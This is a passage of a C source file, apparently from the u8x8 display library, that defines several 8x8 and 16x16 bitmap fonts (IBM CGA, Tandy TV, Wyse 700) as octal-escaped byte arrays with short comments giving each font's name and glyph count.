\"<\\31\\1\\0\\22;mEm;\\22\\0\\21\\71mEm\\71\\21\\0\\1\\31<ff<\\31\\1\\42\\66\\34\\10\"\n  \"\\34\\66\\42\\0>\\177qYM\\177>\\0=}A@|<\\0\\0<|@A}=\\0\\0:{AA\"\n  \"{:\\0\\0=}@@}=\\0\\0\\14\\134pq]\\15\\0\\0A\\177\\177U\\24\\34\\10\\0~\\177\\1\\11\"\n  \"_v \\0!uUT|x@\\0 tTU}y@\\0\\2#uUU}{B!uUU\"\n  \"}y@\\0!uTT}y@\\0 tWW|x@\\0 tTT||TT\\30<\\244\\244\"\n  \"\\344@\\0\\0\\71}UT\\134\\30\\0\\0\\70|TU]\\31\\0\\0\\2;}UU]\\33\\2\\71}TT\"\n  \"]\\31\\0\\0\\1E}|@\\0\\0\\0\\0D}}A\\0\\0\\0\\2\\3E}}C\\2\\0\\1E||\"\n  \"A\\1\\0\\0\\60xJK\\177>\\2\\0zz\\12\\12zp\\0\\0\\62zJHx\\60\\0\\0\\60xHJ\"\n  \"z\\62\\0\\0\\62{II{\\62\\0\\0\\62zJJz\\62\\0\\0\\62zHHz\\62\\0\\0\\10\\10kk\"\n  \"\\10\\10\\0\\0\\270|dTL|:\\0:zB@xx@\\0\\70x@Bzz@\\0:{AA\"\n  \"{z@\\0:z@@zz@\\0\\30\\270\\240\\242\\372z\\0\\0\\201\\377\\377\\244$<\\30\\0\\232\\272\\240\\240\"\n  \"\\372z\\0\";\n/*\n  Fontname: -FreeType-PxPlus IBM CGA-Medium-R-Normal--8-80-72-72-P-68-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 96/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplusibmcga_r[772] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcga_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0$.kk:\\22\\0\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\4\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34\\34>*\\10\\10\\10>>\"\n  \"\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177qYM\\177>\\0@B\\177\\177@@\\0\\0bsYIOf\\0\\0\\42cII\"\n  \"\\177\\66\\0\\0\\30\\34\\26S\\177\\177P\\0'gEE}\\71\\0\\0<~KIy\\60\\0\\0\\3\\3qy\"\n  \"\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0\\6OIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0@v\\66\"\n  \"\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\3QY\"\n  \"\\17\\6\\0\\0>\\177A]]\\37\\36\\0|~\\23\\23~|\\0\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Qsr\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\17\\6\\0\\36\\77!q\\177^\\0\\0A\\177\\177\\11\\31\\177f\\0\\42gMY\"\n  \"s\\42\\0\\0\\3A\\177\\177A\\3\\0\\0\\177\\177@@\\177\\177\\0\\0\\37\\77``\\77\\37\\0\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0Cg<\\30<gC\\0\\7OxxO\\7\\0\\0GcqYMgs\\0\\0\\177\\177A\"\n  \"A\\0\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0AA\\177\\177\\0\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\3\\7\\4\\0\\0\\0 tTT<x@\\0A\\177\\77HHx\\60\\0\\70|DD\"\n  \"l(\\0\\0\\60xHI\\77\\177@\\0\\70|TT\\134\\30\\0\\0H~\\177I\\3\\2\\0\\0\\230\\274\\244\\244\"\n  \"\\370|\\4\\0A\\177\\177\\10\\4|x\\0\\0D}}@\\0\\0\\0`\\340\\200\\200\\375}\\0\\0A\\177\\177\\20\"\n  \"\\70lD\\0\\0A\\177\\177@\\0\\0\\0||\\30\\70\\34|x\\0||\\4\\4|x\\0\\0\\70|DD\"\n  \"|\\70\\0\\0\\204\\374\\370\\244$<\\30\\0\\30<$\\244\\370\\374\\204\\0D|xL\\4\\34\\30\\0H\\134TT\"\n  \"t$\\0\\0\\0\\4>\\177D$\\0\\0<|@@<|@\\0\\34<``<\\34\\0\\0<|p\\70\"\n  \"p|<\\0Dl\\70\\20\\70lD\\0\\234\\274\\240\\240\\374|\\0\\0Ldt\\134Ld\\0\\0\\10\\10>w\"\n  \"AA\\0\\0\\0\\0\\0ww\\0\\0\\0AAw>\\10\\10\\0\\0\\2\\3\\1\\3\\2\\3\\1\\0pxLF\"\n  \"Lxp\";\n/*\n  Fontname: -FreeType-PxPlus IBM CGA-Medium-R-Normal--8-80-72-72-P-68-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 18/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplusibmcga_n[220] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcga_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10*>\\34\\34>*\\10\\10\\10>>\"\n  \"\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177qYM\\177>\\0@B\\177\\177@@\\0\\0bsYIOf\\0\\0\\42cII\"\n  \"\\177\\66\\0\\0\\30\\34\\26S\\177\\177P\\0'gEE}\\71\\0\\0<~KIy\\60\\0\\0\\3\\3qy\"\n  \"\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0\\6OIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\";\n/*\n  Fontname: -FreeType-PxPlus IBM CGA-Medium-R-Normal--8-80-72-72-P-68-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 64/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplusibmcga_u[517] U8X8_FONT_SECTION(\"u8x8_font_pxplusibmcga_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0$.kk:\\22\\0\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\4\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34\\34>*\\10\\10\\10>>\"\n  \"\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177qYM\\177>\\0@B\\177\\177@@\\0\\0bsYIOf\\0\\0\\42cII\"\n  \"\\177\\66\\0\\0\\30\\34\\26S\\177\\177P\\0'gEE}\\71\\0\\0<~KIy\\60\\0\\0\\3\\3qy\"\n  \"\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0\\6OIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0@v\\66\"\n  \"\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\3QY\"\n  \"\\17\\6\\0\\0>\\177A]]\\37\\36\\0|~\\23\\23~|\\0\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Qsr\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\17\\6\\0\\36\\77!q\\177^\\0\\0A\\177\\177\\11\\31\\177f\\0\\42gMY\"\n  \"s\\42\\0\\0\\3A\\177\\177A\\3\\0\\0\\177\\177@@\\177\\177\\0\\0\\37\\77``\\77\\37\\0\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0Cg<\\30<gC\\0\\7OxxO\\7\\0\\0GcqYMgs\\0\\0\\177\\177A\"\n  \"A\\0\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0AA\\177\\177\\0\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FreeType-PxPlus TandyNew TV-Medium-R-Normal--8-80-72-72-P-70-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 192/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplustandynewtv_f[1796] U8X8_FONT_SECTION(\"u8x8_font_pxplustandynewtv_f\") = \n  \" \\377\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\3\\7\\0\\0\\7\\3\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0\\0$.kk:\\22\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\0\\0\\4\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\10*>\\34\\34>*\\10\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0\\34>cIc>\\34\\0\\0@B\\177\\177@@\\0BcqYIof\\0\\42cII\"\n  \"I\\177\\66\\0\\30\\34\\26S\\177\\177P\\0/oIIIy\\61\\0<~KIIx\\60\\0\\3\\3qy\"\n  \"\\15\\7\\3\\0\\66\\177III\\177\\66\\0\\6OIIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0\\200\\346\"\n  \"f\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\2\\3\\1Y\"\n  \"]\\7\\2\\0>\\177A]]\\37\\36\\0|~\\13\\11\\13~|\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Q\\63r\\0\\177\\177\\10\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0>\\177AA\"\n  \"A\\177>\\0A\\177\\177I\\11\\17\\6\\0>\\177AA\\341\\377\\276\\0A\\177\\177\\11\\31wf\\0\\0\\42gM\"\n  \"Ys\\42\\0\\0\\3A\\177\\177A\\3\\0\\77\\177@@@\\177\\77\\0\\37\\77`@`\\77\\37\\0\\77\\177`\\70\"\n  \"`\\177\\77\\0cw\\34\\10\\34wc\\0\\0\\7OxxO\\7\\0GcqYMgs\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\1\\3\\6\\4\\0\\0 tTT<x@\\0A\\177\\77DD|\\70\\0\\70|DD\"\n  \"Dl(\\0\\70|DE\\77\\177@\\0\\70|TTT\\134\\30\\0H~\\177I\\11\\3\\2\\0\\230\\274\\244\\244\"\n  \"\\370|\\4\\0A\\177\\177\\10\\4|x\\0\\0\\0D}}@\\0\\0\\0`\\340\\200\\200\\375}\\0A\\177\\177\\20\"\n  \"\\70lD\\0\\0\\0A\\177\\177@\\0\\0||\\14x\\14|x\\0\\4|x\\4\\4|x\\0\\70|DD\"\n  \"D|\\70\\0\\204\\374\\370\\244$<\\30\\0\\30<$\\244\\370\\374\\204\\0D|xL\\4\\14\\10\\0H\\134TT\"\n  \"Tt$\\0\\4\\4\\77\\177Dd \\0<|@@<|@\\0\\34<`@`<\\34\\0<|`\\70\"\n  \"`|<\\0Dl\\70\\20\\70lD\\0\\234\\274\\240\\240\\240\\374|\\0\\0Ldt\\134Ld\\0\\0\\10\\10>\"\n  \"wAA\\0\\0\\0\\0\\357\\357\\0\\0\\0\\0AAw>\\10\\10\\0\\2\\3\\1\\3\\2\\3\\1\\0pxLF\"\n  \"Lxp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60}}\\60\\0\\0\\30<$\\347\\347$$\\0\\0h~\\177\"\n  \"ICf Z~$$$~Z\\0\\0+/\\374\\374/+\\0\\0\\0\\0\\357\\357\\0\\0\\0@\\232\\277\\245\"\n  \"\\245\\375Y\\2\\2\\2\\0\\0\\0\\2\\2\\0~\\201\\231\\245\\245\\245\\201~\\0&/)//(\\0\\10\\34\\66\\42\"\n  \"\\10\\34\\66\\42\\0\\10\\10\\10\\10\\70\\70\\0\\0\\10\\10\\10\\10\\10\\10\\0~\\201\\275\\225\\225\\251\\201~\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\6\\17\\11\\17\\6\\0\\0\\0DD__DD\\0\\0\\21\\31\\35\\27\\22\\0\\0\\0\\21\\25\\25\"\n  \"\\37\\12\\0\\0\\0\\0\\4\\6\\3\\1\\0\\0\\0\\200\\376~  >\\36\\6\\17\\11\\177\\177\\1\\177\\177\\0\\0\\0\\20\"\n  \"\\20\\0\\0\\0\\0\\0\\200\\240\\340@\\0\\0\\0\\0\\22\\37\\37\\20\\0\\0\\0&/)/&\\0\\0\\42\\66\\34\\10\"\n  \"\\42\\66\\34\\10Bo\\77Xl\\326\\373ABo\\77\\30\\314\\356\\273\\221\\225U\\77Zh\\324\\372A\\0 p]\"\n  \"M@` px,%/zp\\0pz/%,xp\\0pz-%-zp\\0r{-'\"\n  \".{q\\0y}\\26\\22\\26}y\\0x|\\27\\23\\27|x\\0|~\\13\\11\\177\\177I\\0<~B\\302\"\n  \"\\302f$\\0||UWVTD\\0||VWUDD\\0|~UUUVD\\0}}TT\"\n  \"TUE\\0\\0\\0E\\177~D\\0\\0\\0\\0D~\\177E\\0\\0\\0\\2E}}E\\2\\0\\0\\1E|\"\n  \"|E\\1\\0I\\177\\177Ic>\\34\\0~\\177\\11\\23\\42\\177}\\0\\70|EGF|\\70\\0\\70|FG\"\n  \"E|\\70\\0\\70~EEE~\\70\\0:\\177EGF\\177\\71\\0=\\177BBB\\177=\\0\\42\\66\\34\\10\"\n  \"\\34\\66\\42\\0\\134>sIg>\\35\\0<}CB@|<\\0<|BCA|<\\0\\70zAA\"\n  \"Az\\70\\0=}@@@}=\\0\\0\\14\\134rs]\\14\\0A\\177\\177U\\24\\34\\10\\0~\\177\\1\\11\"\n  \"_v \\0 tUW>x@\\0 tVW=x@\\0 vUU>x@\\0\\42wUW\"\n  \">{A\\0!uTT<yA\\0 tWW<x@\\0 TT|TTX\\0\\70|D\\304\"\n  \"\\304l(\\0\\70|UWV\\134\\30\\0\\70|TVW]\\30\\0\\70~UUU^\\30\\0\\71}TT\"\n  \"T]\\31\\0\\0\\0D}\\177B\\0\\0\\0\\0F\\177}@\\0\\0\\0\\2E}}B\\0\\0\\0\\1E|\"\n  \"|A\\1\\0\\60zKK~>\\2\\0\\12{q\\13\\12{q\\0\\60xIKJx\\60\\0\\60xJK\"\n  \"Ix\\60\\0\\60zIIIz\\60\\0\\62{IKJ{\\61\\0\\61yHHHy\\61\\0\\0\\10\\10*\"\n  \"*\\10\\10\\0\\270|dTL|:\\0<}CB<|@\\0<|BC=|@\\0\\70zAA\"\n  \":x@\\0=}@@=}@\\0\\234\\274\\242\\243\\241\\374|\\0\\201\\377\\377\\244$<\\30\\0\\235\\275\\240\\240\"\n  \"\\240\\375}\";\n/*\n  Fontname: -FreeType-PxPlus TandyNew TV-Medium-R-Normal--8-80-72-72-P-70-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 96/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplustandynewtv_r[772] U8X8_FONT_SECTION(\"u8x8_font_pxplustandynewtv_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\3\\7\\0\\0\\7\\3\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0\\0$.kk:\\22\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\0\\0\\4\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\10*>\\34\\34>*\\10\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0\\34>cIc>\\34\\0\\0@B\\177\\177@@\\0BcqYIof\\0\\42cII\"\n  \"I\\177\\66\\0\\30\\34\\26S\\177\\177P\\0/oIIIy\\61\\0<~KIIx\\60\\0\\3\\3qy\"\n  \"\\15\\7\\3\\0\\66\\177III\\177\\66\\0\\6OIIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0\\200\\346\"\n  \"f\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\2\\3\\1Y\"\n  \"]\\7\\2\\0>\\177A]]\\37\\36\\0|~\\13\\11\\13~|\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Q\\63r\\0\\177\\177\\10\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0>\\177AA\"\n  \"A\\177>\\0A\\177\\177I\\11\\17\\6\\0>\\177AA\\341\\377\\276\\0A\\177\\177\\11\\31wf\\0\\0\\42gM\"\n  \"Ys\\42\\0\\0\\3A\\177\\177A\\3\\0\\77\\177@@@\\177\\77\\0\\37\\77`@`\\77\\37\\0\\77\\177`\\70\"\n  \"`\\177\\77\\0cw\\34\\10\\34wc\\0\\0\\7OxxO\\7\\0GcqYMgs\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\1\\3\\6\\4\\0\\0 tTT<x@\\0A\\177\\77DD|\\70\\0\\70|DD\"\n  \"Dl(\\0\\70|DE\\77\\177@\\0\\70|TTT\\134\\30\\0H~\\177I\\11\\3\\2\\0\\230\\274\\244\\244\"\n  \"\\370|\\4\\0A\\177\\177\\10\\4|x\\0\\0\\0D}}@\\0\\0\\0`\\340\\200\\200\\375}\\0A\\177\\177\\20\"\n  \"\\70lD\\0\\0\\0A\\177\\177@\\0\\0||\\14x\\14|x\\0\\4|x\\4\\4|x\\0\\70|DD\"\n  \"D|\\70\\0\\204\\374\\370\\244$<\\30\\0\\30<$\\244\\370\\374\\204\\0D|xL\\4\\14\\10\\0H\\134TT\"\n  \"Tt$\\0\\4\\4\\77\\177Dd \\0<|@@<|@\\0\\34<`@`<\\34\\0<|`\\70\"\n  \"`|<\\0Dl\\70\\20\\70lD\\0\\234\\274\\240\\240\\240\\374|\\0\\0Ldt\\134Ld\\0\\0\\10\\10>\"\n  \"wAA\\0\\0\\0\\0\\357\\357\\0\\0\\0\\0AAw>\\10\\10\\0\\2\\3\\1\\3\\2\\3\\1\\0pxLF\"\n  \"Lxp\";\n/*\n  Fontname: -FreeType-PxPlus TandyNew TV-Medium-R-Normal--8-80-72-72-P-70-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 18/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplustandynewtv_n[220] U8X8_FONT_SECTION(\"u8x8_font_pxplustandynewtv_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10*>\\34\\34>*\\10\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0\\34>cIc>\\34\\0\\0@B\\177\\177@@\\0BcqYIof\\0\\42cII\"\n  \"I\\177\\66\\0\\30\\34\\26S\\177\\177P\\0/oIIIy\\61\\0<~KIIx\\60\\0\\3\\3qy\"\n  \"\\15\\7\\3\\0\\66\\177III\\177\\66\\0\\6OIIi\\77\\36\\0\\0\\0\\0ff\\0\\0\";\n/*\n  Fontname: -FreeType-PxPlus TandyNew TV-Medium-R-Normal--8-80-72-72-P-70-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 64/781\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pxplustandynewtv_u[517] U8X8_FONT_SECTION(\"u8x8_font_pxplustandynewtv_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\3\\7\\0\\0\\7\\3\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0\\0$.kk:\\22\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\0\\0\\4\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\10*>\\34\\34>*\\10\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0\\34>cIc>\\34\\0\\0@B\\177\\177@@\\0BcqYIof\\0\\42cII\"\n  \"I\\177\\66\\0\\30\\34\\26S\\177\\177P\\0/oIIIy\\61\\0<~KIIx\\60\\0\\3\\3qy\"\n  \"\\15\\7\\3\\0\\66\\177III\\177\\66\\0\\6OIIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0\\200\\346\"\n  \"f\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\2\\3\\1Y\"\n  \"]\\7\\2\\0>\\177A]]\\37\\36\\0|~\\13\\11\\13~|\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Q\\63r\\0\\177\\177\\10\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0>\\177AA\"\n  \"A\\177>\\0A\\177\\177I\\11\\17\\6\\0>\\177AA\\341\\377\\276\\0A\\177\\177\\11\\31wf\\0\\0\\42gM\"\n  \"Ys\\42\\0\\0\\3A\\177\\177A\\3\\0\\77\\177@@@\\177\\77\\0\\37\\77`@`\\77\\37\\0\\77\\177`\\70\"\n  \"`\\177\\77\\0cw\\34\\10\\34wc\\0\\0\\7OxxO\\7\\0GcqYMgs\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0\\0AA\\177\\177\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FreeType-Px437 Wyse700a-Medium-R-Normal--16-160-72-72-P-131-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 151/288\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_px437wyse700a_2x2_f[7172] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700a_2x2_f\") = \n  \" \\377\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0p\\370\\374\\374\\374\\374\\370p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\33\\33\\33\\33\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\6\\16\\36\\36\\0\\0\\0\\0\\36\\36\\16\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0  \\370\\370\\370    \\370\\370\\370  \\0\\0\\4\\4\\37\\37\\37\\4\\4\\4\\4\\37\\37\"\n  \"\\37\\4\\4\\0\\0\\0\\60xx\\374\\317\\207\\207\\217\\234\\30\\30\\20\\0\\0\\0\\0\\4\\14\\14\\34xppy\\37\\17\"\n  \"\\17\\6\\0\\0\\0\\0\\60\\60\\60\\60\\0\\200\\300\\340\\360p\\60\\20\\0\\0\\0\\0\\20\\30\\34\\36\\17\\7\\3\\1\\30\\30\"\n  \"\\30\\30\\0\\0\\0\\0\\20\\70\\270\\374\\354\\304\\354|\\70\\270\\220\\200\\200\\0\\0\\6\\17\\17\\37\\31\\21\\21\\33\\17\\17\\37\"\n  